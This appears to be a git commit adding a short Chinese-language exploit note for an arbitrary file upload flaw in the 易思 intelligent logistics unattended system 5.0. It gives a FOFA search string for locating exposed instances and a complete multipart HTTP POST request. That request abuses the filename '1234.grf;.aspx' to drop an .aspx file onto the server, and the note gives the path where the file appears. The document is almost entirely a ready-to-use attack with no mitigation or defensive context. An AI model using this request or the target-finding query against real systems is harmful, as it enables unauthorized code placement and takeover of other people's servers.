Create 易思智能物流无人值守系统5.0存在任意文件上传漏洞.md

易思智能物流无人值守系统5.0存在任意文件上传漏洞.md

@@ -0,0 +1,27 @@
+## 易思智能物流无人值守系统5.0存在任意文件上传漏洞
+
+## fofa
+```
+"智能物流无人值守系统"
+```
+
+## exp
+```
+POST /Sys_ReportFile/ImportReport?encode=717132 HTTP/1.1
+Host: 127.0.0.1
+User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
+Accept-Encoding: gzip, deflate
+Accept: */*
+Connection: close
+Content-Length: 199
+Content-Type: multipart/form-data; boundary=59d3d0b126080d21572c9e7a77d89931
+
+--59d3d0b126080d21572c9e7a77d89931
+Content-Disposition: form-data; name="file"; filename="1234.grf;.aspx"
+Content-Type: application/octet-stream
+
+304674859
+--59d3d0b126080d21572c9e7a77d89931--
+```
+
+上传成功后，会返回路径 http://127.0.0.1/GRF/Custom/717132.aspx